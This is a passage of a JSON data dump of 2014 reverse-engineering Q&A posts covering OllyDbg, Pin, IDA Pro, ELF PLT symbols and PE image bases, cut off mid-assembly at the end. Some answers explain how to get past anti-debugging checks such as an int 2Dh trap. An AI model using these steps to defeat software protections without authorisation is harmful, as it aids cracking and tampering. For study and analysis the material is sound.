\n" }, { "Id": "6124", "CreationDate": "2014-08-26T02:36:57.213", "Body": "

I am currently battling this protection on an 32-bit executable.

\n\n

At some point during it's runtime, the protection gets the address of DbgUiRemoteBreakin and writes a JMP to ExitProcess as an anti-attach technique. I decided to place a memory breakpoint on write(I also tried access) on that location figuring at the very least I'd find out what piece of code alters the code. Upon setting the breakpoint I hit F9 only for my memory bp to never be triggered, I tried multiple times. The code was altered, but my memory bp was not triggered. This is the first time that a memory breakpoint was not triggered for me. I am puzzled as to why this has happened. My only guess is that DbgUiRemoteBreakin is located in ntdll.dll and that is why guard pages don't work there.\nThere were also instances where I had a crash when I set a memory bp on that function.

\n\n

However I am hoping somebody has encountered this and can explain more in depth. My ollydbg version is 1.10.

\n", "Title": "Why was my memory breakpoint not triggered in OllyDbg?", "Tags": "|ollydbg|pe|anti-debugging|protection|", "Answer": "

The most likely reason why your breakpoint didn't get hit is because the protected file removed it.

\n\n

Edit: If the breakpoint was hardware-based, then the protected file can use GetThreadContext(), erase the DR entries, SetThreadContext(). If the breakpoint was page-protection-based, then the protected file can use VirtualProtect().

\n" }, { "Id": "6140", "CreationDate": "2014-08-29T21:08:24.193", "Body": "

In my OllyDbg v1.10, when I attempt to attach the debugger to a running process, Olly behaves as if it was successful, but the process is frozen (I'm unable to bring the window back up). I've tried switching to the main module, hitting F9 - still nothing, the process simply halts (\"Paused\" in Olly). I've found this issue described by a user on some forum, but it had remained unresolved as others had trouble reproducing it.

\n\n

I've tried this for MS Notepad, Calc, regedit and a propetriary 3rd party application, and the result is the same everywhere.

\n\n

This does not hold true for Olly 2.0 - that version behaves as expected, simply attaches to the process and lets me explore it.

\n\n

My OS is a 32-bit Windows 7 Ultimate.

\n", "Title": "OllyDbg 1.10 - attaching to running process suspends it indefinitely", "Tags": "|ollydbg|", "Answer": "

I know its late answer but for future users:\nTo solve this you need to go to threads window, and then

\n\n

right mouse button->resume all threads

\n" }, { "Id": "6144", "CreationDate": "2014-08-31T15:36:32.630", "Body": "

I wrote this small pintool that tries to record the number of int 0x80 instructions executed. I did this roughly as follows :-

\n\n

xed_iclass_enum_t iclass = static_cast<xed_iclass_enum_t>(INS_Opcode(ins));

\n\n

I then compare iclass against XED_ICLASS_INT and print out the EIP if found. I'm doing this on a statically compiled test binary that :-

\n\n
1. Prints hello world\n2. Makes a call to mprotect\n
\n\n

However, the number of int 0x80 instructions encountered is just one. Is there something obvious I'm doing wrong? I tried using XED_ICLASS_SYSCALL too but that did not help.

\n", "Title": "Tracing int 0x80 instructions using PIN", "Tags": "|instrumentation|", "Answer": "

PIN_AddSyscallEntryFunction

\n\n

Why not just use PIN_AddSyscallEntryFunction? This is an ABI-agnostic way of doing things, that lets you use PIN_GetSyscallArgument and related functions rather than manually inspecting the stack and register context.

\n\n

INS_IsInterrupt

\n\n

You could also use INS_IsInterrupt at instrumentation time to gather the information at analysis time. Note that this won't catch any systemm calls made via the syscall or sysenter instructions.

\n\n

Examples

\n\n

As a simple example, if you look at the file inscount0.cpp that comes with Pin, if you add the following check, you'll only instrument syscalls.

\n\n

INS_IsInterrupt

\n\n

In inscount0.cpp, change the routines as shown below. The module will now count the number of int instructions executed, rather than the total number of instructions executed.

\n\n
VOID Instruction(INS ins, VOID *v)\n{\n    if(INS_IsSyscall(ins))\n    {\n        INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);\n    }\n}\n
\n\n

Now all syscall instructions will be counted. You can use the standard INS_InsertCall arguments to inspect the stack or register context.

\n\n

PIN_AddSyscallEntryFunction

\n\n

Add this function before main

\n\n
void OnSyscall(THREADID threadIndex, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v)\n{\n    printf(\"Made syscall #%i\\n\", PIN_GetSyscallNumber(ctxt, std));\n}\n
\n\n

and add this line to main before PIN_StartProgram.

\n\n
PIN_AddSyscallEntryFunction(OnSyscall, 0);\n
\n" }, { "Id": "6146", "CreationDate": "2014-08-31T17:54:17.467", "Body": "

I have a statically compiled test binary compiled as :-

\n\n
$ cat > test.c\n #include<stdio.h>\nint main() {\nprintf(\"adsf\");\nmprotect(0x8048000, 0x100, 0x7);\n}\n$ gcc -o test test.c -static\n
\n\n

I use the strace.so pintool and get the following output:-

\n\n
0xb77c0419: 122(0xbfa1a72a, 0xb77c0000, 0x0, 0x0, 0x8049630, 0xbfa1a6ec)returns: 0x0\n0xb77c0419: 45(0x0, 0x840, 0x27, 0xd40, 0x28, 0xbfa1a868)returns: 0x9fda000\n0xb77c0419: 45(0x9fdad40, 0x840, 0x9fda000, 0x9fdad40, 0x28, 0xbfa1a868)returns: 0x9fdad40\n0x80493b9: 243(0xbfa1a8c0, 0x0, 0x4, 0x4, 0x28, 0x40)returns: 0x0\n0xb77c0419: 45(0x9ffbd40, 0x21000, 0x21000, 0x9ffbd40, 0x0, 0xbfa1a728)returns: 0x9ffbd40\n0xb77c0419: 45(0x9ffc000, 0x2c0, 0x21000, 0x9ffc000, 0x0, 0xbfa1a728)returns: 0x9ffc000\n0xb77c0419: 197(0x1, 0xbfa1a210, 0xbfa1a210, 0x2000, 0x2000, 0xbfa1a1b8)returns: 0x0\n0xb77c0419: 192(0x0, 0x1000, 0x3, 0x22, 0xffffffff, 0xbfa1a1cc)returns: 0xb60b6000\n0xb77c0419: 125(0x8048000, 0x100, 0x7, 0x0, 0x8049630, 0xbfa1a8d8)returns: 0x0\n0xb77c0419: 4(0x1, 0xb60b6000, 0x4, 0x80ef6a0, 0x4, 0xbfa1a778)returns: 0x4\n0xb77c0419: 252(0x0, 0x0, 0x80f0d04, 0x0, 0x80ef06c, 0xbfa1a8ac)#eof\n
\n\n

We can see that the addresses shown at the left(the IP) have repeating values. Also they don't seem to be addresses in the text segment. I'd like to be able to view the addresses at which the system calls are made.

\n\n

Why does this happen? The code for the strace pintool can be found here.

\n\n

[EDIT]\nChecking in gdb I understand that this happens because the call goes via a common \"int 0x80\" instruction. As a result, multiple system calls seem to be made from the same address. Hence, it seems like I'd have to read the 4 bytes from the top of the stack to find out which instruction is trying to make the system call. Are there any better ways to do this?

\n", "Title": "IPs shown by the strace.so pintool", "Tags": "|instrumentation|", "Answer": "

On modern Linux systems, a syscall stub (vdso) is used to invoke the actual syscall. This is done so that the application binary does not need to know anything about the host CPU, and what mechanism is best or fastest for the CPU.

\n\n

This can be seen from within GDB or via ldd.

\n\n
ldd /bin/bash\n    linux-vdso.so.1 =>  (0x00007fff07fc3000)\n    libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f65e336e000)\n    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f65e316a000)\n    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f65e2da3000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007f65e35b6000)\n
\n\n

You can easily dump out the instruction being executed with Pin via printing the return value of INS_Disassemble. You should see that it's actually a syscall instruction or similar.

\n\n

Regarding the best mechanism for determining the source of a call to the VDSO, checking the top of the stack at a routine entry will give you its return address. This will be a few bytes after the call instruction. Additionally, you'd have to whitelist the explicit address which is in the vdso, as not all int 0x80 instructions will be immediately after a call.

\n" }, { "Id": "6156", "CreationDate": "2014-09-02T02:25:33.897", "Body": "

I have this dissassembled routine from an executable but I am having troubles to translate it to C#.

\n\n
.text:005C9290 ; =============== S U B R O U T I N E =======================================\n.text:005C9290\n.text:005C9290 ; Attributes: bp-based frame\n.text:005C9290\n.text:005C9290 sub_5C9290      proc near               ; CODE XREF: .text:00574256p\n.text:005C9290                                         ; sub_5ACC50+68p ...\n.text:005C9290\n.text:005C9290 SystemTimeAsFileTime= _FILETIME ptr -8\n.text:005C9290 arg_0           = dword ptr  8\n.text:005C9290\n.text:005C9290                 push    ebp\n.text:005C9291                 mov     ebp, esp\n.text:005C9293                 push    ecx\n.text:005C9294                 push    ecx\n.text:005C9295                 lea     eax, [ebp+SystemTimeAsFileTime]\n.text:005C9298                 push    eax             ; lpSystemTimeAsFileTime\n.text:005C9299                 call    ds:GetSystemTimeAsFileTime\n.text:005C929F                 mov     eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]\n.text:005C92A2                 mov     ecx, [ebp+SystemTimeAsFileTime.dwHighDateTime]\n.text:005C92A5                 push    0\n.text:005C92A7                 add     eax, 2AC18000h\n.text:005C92AC                 push    offset unk_989680\n.text:005C92B1                 adc     ecx, 0FE624E21h\n.text:005C92B7                 push    ecx\n.text:005C92B8                 push    eax\n.text:005C92B9                 call    sub_5D0500\n.text:005C92BE                 mov     ecx, [ebp+arg_0]\n.text:005C92C1                 test    ecx, ecx\n.text:005C92C3                 jz      short locret_5C92C7\n.text:005C92C5                 mov     [ecx], eax\n.text:005C92C7\n.text:005C92C7 locret_5C92C7:                          ; CODE XREF: sub_5C9290+33j\n.text:005C92C7                 leave\n.text:005C92C8                 retn\n.text:005C92C8 sub_5C9290      endp\n.text:005C92C8\n.text:005C92C9\n
\n\n

However, I have this pseudo-code from this function generated by IDA Pro:

\n\n
__int64 __cdecl sub_5C9290(int a1)\n{\n  __int64 result; // qax@1\n  unsigned __int64 v2; // ST00_8@1\n  struct _FILETIME SystemTimeAsFileTime; // [sp+0h] [bp-8h]@1\n\n  GetSystemTimeAsFileTime(&SystemTimeAsFileTime);\n  HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime >= 0xD53E8000u)\n              + SystemTimeAsFileTime.dwHighDateTime\n              - 27111903;\n  LODWORD(v2) = SystemTimeAsFileTime.dwLowDateTime + 717324288;\n  result = sub_5D0500(v2, (unsigned int)&unk_989680, 0);\n  if ( a1 )\n    *(_DWORD *)a1 = result;\n  return result;\n}\n
\n\n

One problems is that code won't compile, this code doesn't make sense:

\n\n
HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime >= 0xD53E8000u)\n              + SystemTimeAsFileTime.dwHighDateTime\n              - 27111903;\n
\n\n

Also one problem is the ADC command which all I can find is that it is exactly as ADD but it also adds the CARRY FLAG to the result, but I can't find any ways to reproduce this command in C#.\nAnd what about all those HIDWORD and LODWORD macros?

\n", "Title": "Convert assembly ADC to C#", "Tags": "|ida|disassembly|c#|", "Answer": "

This is 64-bit math. The compiler has to do the addition in two steps because the processor can only work 32 bits at a time. And carry has to be propagated from the low addition to the high one - same way when you do addition of multiple-digit numbers on paper.

\n\n

Here's what the current version of the decompiler (1.7) produces (after fixing the function prototype):

\n\n
result = sub5D0500(time - 116444736000000000i64, 10000000i64);\n
\n\n

And (just a guess) if you rename sub5D0500 to __alldiv (compiler helper function for 64-bit division), it becomes:

\n\n
result = (time - 116444736000000000i64) / 10000000;\n
\n\n

Apparently you're looking at MSVC's _time64 implementation. From time64.c:

\n\n
/*\n * Number of 100 nanosecond units from 1/1/1601 to 1/1/1970\n */\n#define EPOCH_BIAS  116444736000000000i64\n[...]\n__time64_t __cdecl _time64 (\n        __time64_t *timeptr\n        )\n{\n        __time64_t tim;\n        FT nt_time;\n        GetSystemTimeAsFileTime( &(nt_time.ft_struct) );\n        tim = (__time64_t)((nt_time.ft_scalar - EPOCH_BIAS) / 10000000i64);\n        if (timeptr)\n                *timeptr = tim;         /* store time if requested */\n        return tim;\n}\n
\n" }, { "Id": "6160", "CreationDate": "2014-09-02T18:54:32.630", "Body": "

Is it possible to identify a protocol in a pcap file? I have a file which is a capture of data going between my phone and an IP camera, and I'd like to identify the protocol. I am using the app \"MEye\" to view the camera, which provides no hints of the protocol used.

\n\n

I have tried googling the headers in some of the packets, but to no avail.

\n\n

The pcap file can be found here.

\n\n

Is it possible to identify the protocol at all?

\n", "Title": "Identifying protocol in a pcap file?", "Tags": "|sniffing|networking|protocol|packet|", "Answer": "

Looking at the website for the software vendor, it recommends that the DVR on the other end of the connection be set to \"Substream, CIF or QCIF at 6-10 FPS\". Those refer to the \"Common Intermediate Format\" and \"Quarter Common Intermediate Format\" respectively. They are defined within the \"H.261 Video codec for audiovisual services at p x 64 kbit/s\" standard, so you may find sufficient detail within those documents (which are available for free) to be able to start making some intelligent guesses as to how to decode this particular protocol.

\n\n

With that said, Wireshark, as least as of September 2014, does not support H.261 decoding. Perhaps you could add it.

\n" }, { "Id": "6165", "CreationDate": "2014-09-03T21:39:44.333", "Body": "

I try to analyze malware since a few months and by examining the assembly code of a trojan for example, I see sometimes windows functions like ws2_32.send which is the send()-function, etc. That is not a problem to understand, I can go to:

\n\n

http://msdn.microsoft.com/de-de/library/windows/desktop/ms740149%28v=vs.85%29.aspx

\n\n

and read that, everything is okay.

\n\n

But I ask myself, how the people who writes that code put that function in their code. I mean, can you for example write in a C code the function

\n\n
  int send(\n     __in  SOCKET s,\n     __in  const char *buf,\n     __in  int len,\n     __in  int flags);\n
\n\n

and is it then so that the C compiler understands it ?\nThere are some other functions like CopyFileA for example which looks like:

\n\n
  BOOL WINAPI CopyFile(\n  _In_  LPCTSTR lpExistingFileName,\n  _In_  LPCTSTR lpNewFileName,\n  _In_  BOOL bFailIfExists\n  );\n
\n\n

Here I ask myself how the compiler understand the word \"WINAPI\" for example and so on.

\n\n

In general, if the people try to write such code to create a trojan, how they make clear that it should be a windows function?

\n", "Title": "Question about Windows-Functions in malware", "Tags": "|assembly|", "Answer": "

You're misunderstanding the use of the keyword. As the comment on your questions said, WINAPI is the calling convention for a function. WINAPI is #define'd to __stdcall which specifies how the stack is managed in relation to that function, which you can see documented on MSDN here. That article gives you a good overview of what it does and how it would get used in the header file.

\n\n

It's common for the calling convention to not be explicitly stated for CRT functions on Windows; but that's just in the documentation and doesn't mean the calling convention doesn't need to be declared similarly. Most functions (on x86) will use __stdcall. The most common exception is the printf() family of functions which use the cdecl calling convention. This has more to do with the history of how x86 was developed than any particular design choices.

\n\n

Most constants, WINAPI et al, can be found somewhere on MSDN or if you have Visual Studio by hitting F12.

\n\n

Now as far as a more general answer to what I take your question to be, as far as how/why you might see certain function calls in a particular sample, the short answer is that Windows provides both the standard C library calls and its own versions of the APIs. In this case, the send() function is defined in Winsock2.h and the function itself is in Ws2_32.lib (also available on that MSDN page you linked). However, what you might call the \"Windows API version\" of this function is also found in the same .h and .lib file: WSASend(), which is documented here.

\n\n

You can see by the two articles on MSDN these functions are almost identical, and if you look at the disassmebly for both of them you'd see that WSASend() and send() are almost the exact same function. But Windows supports both so if you learn on Unix or just using the standard C library you can write the same code on windows.

\n\n

Most of the other CRT functions (fopen, fread, printf) are implemented in the C Runtime Library, msvcrt.dll. They're mostly independent (compared to socket functions all being in Ws2_32.lib).

\n" }, { "Id": "6171", "CreationDate": "2014-09-04T05:26:36.197", "Body": "

I'm newbie, I have a little knowledge of debugging x86 binary. However, I have to work with ARM.\nI'm getting stuck on install QEMU and can't debug an ARM binary.

\n\n

Thank you a lot for give me tutorials of reversing an example ARM binary.

\n", "Title": "How to debug ARM binary with IDA pro on Windows?", "Tags": "|ida|arm|qemu|", "Answer": "

Here is a simple video for setting up qemu for ARM.

\n\n

http://www.securitytube.net/video/5818

\n\n

Using IDA you can open and disassemble the program fine. Just to debug you will probably get stuck using GDB as you can't run the arm binary in your current environment.

\n\n

Let me know if you have more questions.

\n" }, { "Id": "6177", "CreationDate": "2014-09-05T07:31:56.520", "Body": "

I'm building an IDA Pro plugin (not a script) using the C++ SDK. On top of the frustration added by the lack of a proper API documentation, I cannot find a good way to debug my plugin.

\n\n

I've tried printing messages to the output window of IDA Pro.

\n\n
...\nmsg(\"Everything OK up to point 1\\n\");\n...\nmsg(\"Everything OK up to point 2\\n\");\n...\n
\n\n

However, whenever my plugin hits an error state, IDA Pro crashes before I get a chance to read the messages that my plug-in printed in the output window.

\n\n

While searching for a solution I stumbled upon the Wingware Python IDE which can be used to debug IDAPython. The drawbacks however are that it is not free and I am not developing the plugin in python.

\n\n

One obvious thing to try is writing to a text file instead of writing to the IDA output window. However, that is not handy debugging. Isn't there a better way to debug an IDA Pro plugin built with C++ SDK?

\n", "Title": "How to debug an IDA Pro plugin built with the C++ IDASDK", "Tags": "|ida|ida-plugin|idapro-sdk|", "Answer": "

Most modern IDE's allow you to specify an executable to launch when debugging, you should specify your ida executable. Or otherwise, try to attach to the running IDA process.

\n\n

When you put a breakpoint in the run() function of your plugin, your IDE will stop at run, and you can singlestep, etc from there.

\n\n

Also you if you enable 'break on exception' your IDE will probably figure out if the exception was in your plugin, and load the right source file for you.

\n" }, { "Id": "6179", "CreationDate": "2014-09-05T13:29:53.697", "Body": "

I'd like to identify all late-binding calls made by a windows 32 or 64 executable program. I can take a look at the imported functions through the IAT but I'm unable to list the functions called during a program invocation.

\n\n

Is there a way to accomplish this?

\n", "Title": "List late binding functions", "Tags": "|windows|functions|iat|", "Answer": "

Dependency Walker is your friend.

\n\n

Note that it's almost impossible to find out which libraries/entry points a program uses by static analysis alone, since the strings passed to LoadLibrary and GetProcAddress might be obfuscated, i.e. not visible in the binary. Dependency Walker catches those calls at runtime, which means a) you need to run the program - which may not be advisable if it's known malware - and b) it still might miss something if you don't execute that path of code. But within these restrictions, it's about the best you can get.

\n" }, { "Id": "6189", "CreationDate": "2014-09-06T22:50:28.090", "Body": "

Is there a monitoring tool for Android except logcat which works like Process Monitor in Windows ?
\nThanks

\n", "Title": "How to monitor APK files in Android System", "Tags": "|tools|android|apk|", "Answer": "

I have used \"File Monitor\" from SteelWorks (I am not associated with this company in any way) on a non-routed Android device and it works fine.

\n" }, { "Id": "6204", "CreationDate": "2014-09-09T12:38:07.063", "Body": "

I'm analyzing a MIPS ELF executable with calls to the exit() function, however IDA PRO is not correctly recognizing the end of the block:

\n\n

\"enter

\n\n\n", "Title": "Correct IDA PRO Control Flow Graph", "Tags": "|ida|", "Answer": "

It is possible to define a function exit as \"no return\" function.\nThis should fix the problem.

\n\n

To do it you should find exit function, right click on it, choose \"edit function\" and mark \"Does not return\" checkbox.

\n" }, { "Id": "6206", "CreationDate": "2014-09-09T16:02:58.360", "Body": "

Is IDA (or some external plugin) capable of adding comments describing values contained in registers to every branch instruction ?

\n\n

e.g.

\n\n
ADD.W           R8, R10, #0x78\nMOVS            R5, #0\nADD.W           R1, R10, #0xE8\nSTR             R1, [SP,#0x1C+var_1C]\nloc_xxxxxxxx\nMOV             R0, R5\nMOV             R1, R8\nBL              sub_xxxxxxxx ; r0 = #0, r1 = R10 + #0x78\n
\n\n

where the comment at BL sub_xxxxxxxx would be generated automatically

\n", "Title": "IDA Pro get register values before branch", "Tags": "|ida-plugin|", "Answer": "

The open-source IDA Pro script funcap does 99% of what you want. I'd recommend using it as a foundation and making some minor tweaks to get it to do exactly what you want.

\n\n

\"funcap\"

\n" }, { "Id": "6213", "CreationDate": "2014-09-10T04:06:24.610", "Body": "

Doing some messing around with ELF (of both the x86 and ARM varieties).

\n\n

Associating symbol names with entries in the .got section is straightforward. Find the .got section, find the relocation section .rel.plt/.rela.plt whose .sh_info contains the index of the .got, and find the symbol section .dynsym that contains the symbol names.

\n\n

Everything lines up nicely between these sections, and I can accurately assign symbol names to entries in the .got.

\n\n

However, I also want names for the stubs in the .plt section. A rough percentage of the time, symbols for the .plt can be inferred based on the ordering of .got symbols, and an offset from the base of the .plt section. For whatever reason, occasionally this is not the case.

\n\n

Binutils objdump can accurately generate them for x86, and IDA can accurately generate them for x86 and ARM (both without -g debugging symbols). How are these generated?

\n\n

In the case of IDA, I could reasonably assume there's some advanced logic going on based on interpretation of the instructions in the .plt, but I know that must not be the case for objdump.

\n", "Title": "Associating Symbol Names with .PLT Entries", "Tags": "|ida|elf|got|plt|", "Answer": "

See this thread. Basically, they rely on the fact that the order of PLT relocations matches the order of the stubs in .plt section, and the stubs are all of the same size.

\n\n

On some platforms you can also use st_value of the symbol entry in the dynamic symbol table.

\n\n

IDA indeed usually does not rely on the order of symbols/relocations but checks the actual instructions in the stub.

\n" }, { "Id": "6242", "CreationDate": "2014-09-15T18:00:31.857", "Body": "

Having stumbled upon this question (and answer): https://stackoverflow.com/questions/2170843/va-virtual-adress-rva-relative-virtual-address on my quest for understanding Windows' PE format, I'm wondering: why is the default imagebase value 0x400000? \nWhy couldn't we just start at 0? A VA would then be, in all practical purposes, equal to an RVA.

\n\n

I'm clearly missing something, but I've been unable to find a reasonable explanation of this for the last 40 minutes.

\n", "Title": "windows - Why is the imagebase default 0x400000?", "Tags": "|windows|pe|", "Answer": "

you can alter the base if you so wish msvc compile drivers with an image base of 0x10000

\n\n
:\\>kd -c \"!dh acpi;q\" -z c:\\WINDOWS\\system32\\drivers\\acpi.sys | grep -i image\nFile Type: EXECUTABLE IMAGE\n00010000 image base\n    5.01 image version\n   2DD80 size of image\n\n:\\>\n
\n\n

here is how to alter usermode executables imagebase base must be multiples of 64k if base:0 is used exe will be having an image base of 0x10000

\n\n
:\\>dir /b & type * & cl /nologo /Zi * /link /base:0x200000 & dir /b\nsysbp.cpp\n\nsysbp.cpp\n\n\n#include <stdio.h>\n#include <stdlib.h>\nint main (void)\n{\n    printf(\"all the bases belongs to base\\n\");\n    exit(0);\n}sysbp.cpp\nsysbp.cpp\nsysbp.exe\nsysbp.ilk\nsysbp.obj\nsysbp.pdb\nvc100.pdb\n\n:\\>sysbp.exe\nall the bases belongs to base\n\n:\\>cdb -c \"q;\" sysbp.exe | grep -i modload\nModLoad: 00200000 00222000   sysbp.exe\nModLoad: 7c900000 7c9b2000   ntdll.dll\nModLoad: 7c800000 7c8f6000   C:\\WINDOWS\\system32\\kernel32.dll\nq\n\n:\\>\n
\n" }, { "Id": "6252", "CreationDate": "2014-09-17T12:21:24.520", "Body": "

Im newbie at reverse engineering and I was wondering what is the meaning of declaration var_18 = byte ptr -18 and the others like it in the picture.

\n\n

\"IDA

\n\n

I know that byte ptr means it is a pointer to a byte variable, but why does it have negative value. And also why do all of them have the same address?

\n", "Title": "Assembly variable meaning", "Tags": "|ida|disassembly|", "Answer": "

The dis-assembler display all the variables as having the same address, which is the function's first command (004014CE push ebp in this case).

\n\n

variable with a positive offset is a parameter to the function, where a variable with a negative offset is usually a local variable. This is of course not always the case but you can take it as a general rule of thumb.

\n" }, { "Id": "6261", "CreationDate": "2014-09-19T16:58:54.263", "Body": "

I have the following lines discovered in a piece of code (using IDA PRO) :

\n\n
 ...\n ...\n push 44h\n pop edi\n push edi        ; size_t\n xor esi, esi\n lea eax, [ebp+StartupInfo]\n push esi        ; int \n push eax        ; void *\n call _memset\n ...\n ...\n
\n\n

When I saw the line lea eax, [ebp+StartupInfo] I thought, okay eax is a pointer to the structure STARTUPINFO. With int esi = 0 or NULL (see the line xor esi, esi) and with size_t edi = 44h and by calling memset, they must fill the first 44 bytes of STARTUPINFO (that would be the elements cb, lpReserved,....,wShowWindow).

\n\n

But the line \n push eax ; void *

\n\n

irritates me. How can eax has the type Startupinfo and void at the same time?

\n\n

After that, I found out that the first parameter of memset()-function must have the type void. And so, the question mark in my mind is now bigger...

\n", "Title": "Competitive Types", "Tags": "|assembly|struct|", "Answer": "

IDA knows that the prototype for the _memset function is _memset(void *, int, size_t), so it's showing you that the value of eax in push eax is for the void * parameter.

\n\n

However, later on in this function, a pointer to the StartupInfo structure is likely passed to CreateProcess, which is why IDA named it as such.

\n\n
\n

How can eax has the type Startupinfo and void at the same time?

\n
\n\n

eax is just a register that holds a value, which in your disassembly above is the address of the StartupInfo structure. Types are high-level concepts, so when handled by _memset, the value of eax is interpreted as a void *, and when it's handled by CreateProcess, it's interpreted as a pointer to a STARTUPINFO structure.

\n" }, { "Id": "6263", "CreationDate": "2014-09-19T17:58:45.217", "Body": "

I am facing with a software made in Java. This program is a group of jar called in a flow after the first startup.jar

\n\n

There is a way or method to follow executing and know which class is currently running without inject a log class inside all class files?

\n\n

Thanks

\n", "Title": "How to \"follow\"Java software executing", "Tags": "|java|", "Answer": "

Your best bet is probably JavaSnoop:

\n\n

\"JavaSnoop\"

\n\n

Source code and binaries available from here.

\n\n

Presentation and demo video available here.

\n" }, { "Id": "6268", "CreationDate": "2014-09-20T19:53:51.657", "Body": "

I'm analyzing a PE file using IDA Pro that is using int 2Dh technique as anti debugging:

\n\n
CODE:00455050 push    ebp\nCODE:00455051 mov     ebp, esp\nCODE:00455053 push    ecx\nCODE:00455054 push    ebx\nCODE:00455055 push    esi\nCODE:00455056 push    edi\nCODE:00455057 xor     eax, eax\nCODE:00455059 push    ebp\nCODE:0045505A push    offset loc_455076\nCODE:0045505F push    dword ptr fs:[eax]\nCODE:00455062 mov     fs:[eax], esp\nCODE:00455065 int     2Dh             ; Windows NT - debugging services: eax = type\nCODE:00455067 inc     eax\nCODE:00455068 mov     [ebp+var_1], 1\nCODE:0045506C xor     eax, eax\nCODE:0045506E pop     edx\nCODE:0045506F pop     ecx\nCODE:00455070 pop     ecx\nCODE:00455071 mov     fs:[eax], edx\nCODE:00455074 jmp     short loc_455084\n
\n\n

How should I config IDA Pro to handle this interrupt/exception in dynamic analyzing?
\nI'm Using the local win32 debugger

\n", "Title": "Handling INT 2D anti-debugger technique in IDA Pro", "Tags": "|ida|debugging|anti-debugging|", "Answer": "

The code is expecting an exception to occur, which will happen in the absence of a debugger. If a debugger is present, the breakpoint exception will usually be suppressed by the debugger, and execution will continue at either 0x455067 or 0x455068, depending on the debugger.

\n\n

You have two simple choices: one choice is that you could just let execution reach 0x455084 and then change var_1 back to zero (or whatever value that it had originally). What you don't want is for it to have the value of \"1\".

\n\n

The other choice is to change the byte at 0x455065 from 0xCD to 0xFF (for example) and then let that execute. This sequence will cause an exception to occur, which is really what you want to happen (note that the exception code won't be correct, so you'll need to watch if the code checks for a 0x80000003, and take that code path). The execution will be transferred to the handler at 0x455076, at which point you can change the byte at 0x455065 back to 0xCD (in case the code is self-checking), and then resume debugging.

\n" }, { "Id": "6271", "CreationDate": "2014-09-21T01:23:54.157", "Body": "

I'm trying to clean up the pseudo code to make it compile and function similar if not exactly the same as the original code.

\n\n

This bit which looks like this appears in various places I'm trying to figure out what it exactly means.

\n\n
  if ( ZonePlayerCount > 0 )\n  {\n    v3 = 0;\n    v4 = 0;\n    v5 = playerPointerList;\n    v6 = &playerPointerList[1];\n    do\n    {\n      if ( *(unsigned int *)&(*v5)->IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress && (*v5)->Port == Port )\n      {\n        printf(\"Connection is broken because same ip/port requested another connection\\n\");\n        sub_41CBD0((int)&(*v5)->encryptionPointer->ConnectionStatus);\n        Memory = *v5;\n        if ( *v5 )\n        {\n          DisconnectUser(*v5);\n          free(Memory);\n        }\n        --ZonePlayerCount;\n        memcpy(v5, v6, 4 * (v4 + ZonePlayerCount));\n        --v3;\n        v4 -= 0x3FFFFFFFu;\n        v6 = (char *)v6 - 4;\n        --v5;\n      }\n      ++v3;\n      v4 += 0x3FFFFFFFu;\n      v6 = (char *)v6 + 4;\n      ++v5;\n    }\n    while ( v3 < ZonePlayerCount );\n  }\n
\n\n

Other places like this..

\n\n
    v1 = 0;\n    if ( ArenaArrayLength > v1 )\n    {\n      v18 = 0;\n      v19 = Arenas;\n      v20 = &Arenas[1];\n      do\n      {\n        if ( ProcessArena(*v19) )\n        {\n          if ( (*v19)->ArenaName[0] )\n            WriteSubGameLog(\"Private arena dropped: %s\\n\", (*v19)->ArenaName);\n          else\n            WriteSubGameLog(\"Arena dropped\\n\");\n          bufa = *v19;\n          if ( *v19 )\n          {\n            ShutdownArena(*v19);\n            free(bufa);\n          }\n          --ArenaArrayLength;\n          memcpy(v19, v20, 4 * (v18 + ArenaArrayLength));\n          --v1;\n          v18 -= 0x3FFFFFFFu;\n          v20 = (char *)v20 - 4;\n          --v19;\n        }\n        ++v1;\n        v18 += 0x3FFFFFFFu;\n        v20 = (char *)v20 + 4;\n        ++v19;\n      }\n      while ( v1 < ArenaArrayLength );\n    }\n
\n\n

Assembly for the first piece of pseudo code I provide here.

\n\n
.text:00412D7B                 mov     esi, offset playerPointerList\n.text:00412D80                 mov     ebx, (offset playerPointerList+4)\n.text:00412D85\n.text:00412D85 loc_412D85:                             ; CODE XREF: NewConnectionRequest+C0j\n.text:00412D85                 mov     eax, [esi]\n.text:00412D87                 mov     ecx, [esp+20h+IPAddress]\n.text:00412D8B                 cmp     [eax+2F3h], ecx\n.text:00412D91                 jnz     short loc_412DFC\n.text:00412D93                 mov     dx, [esp+20h+Port]\n.text:00412D98                 cmp     [eax+2F7h], dx\n.text:00412D9F                 jnz     short loc_412DFC\n.text:00412DA1                 push    offset aConnectionIsBrok ; \"Connection is broken because same ip/port \"...\n.text:00412DA6                 call    _printf\n.text:00412DAB                 mov     eax, [esi]\n.text:00412DAD                 add     esp, 4\n.text:00412DB0                 mov     ecx, [eax+28h]\n.text:00412DB3                 call    sub_41CBD0\n.text:00412DB8                 mov     ecx, [esi]      ; player\n.text:00412DBA                 test    ecx, ecx\n.text:00412DBC                 mov     [esp+20h+Memory], ecx\n.text:00412DC0                 jz      short loc_412DD4\n.text:00412DC2                 call    DisconnectUser\n.text:00412DC7                 mov     ecx, [esp+20h+Memory]\n.text:00412DCB                 push    ecx             ; Memory\n.text:00412DCC                 call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:00412DD1                 add     esp, 4\n.text:00412DD4\n.text:00412DD4 loc_412DD4:                             ; CODE XREF: NewConnectionRequest+70j\n.text:00412DD4                 mov     eax, ZonePlayerCount\n.text:00412DD9                 dec     eax\n.text:00412DDA                 mov     ZonePlayerCount, eax\n.text:00412DDF                 add     eax, edi\n.text:00412DE1                 shl     eax, 2\n.text:00412DE4                 push    eax             ; Size\n.text:00412DE5                 push    ebx             ; Src\n.text:00412DE6                 push    esi             ; Dst\n.text:00412DE7                 call    _memcpy\n.text:00412DEC                 add     esp, 0Ch\n.text:00412DEF                 dec     ebp\n.text:00412DF0                 sub     edi, 3FFFFFFFh\n.text:00412DF6                 sub     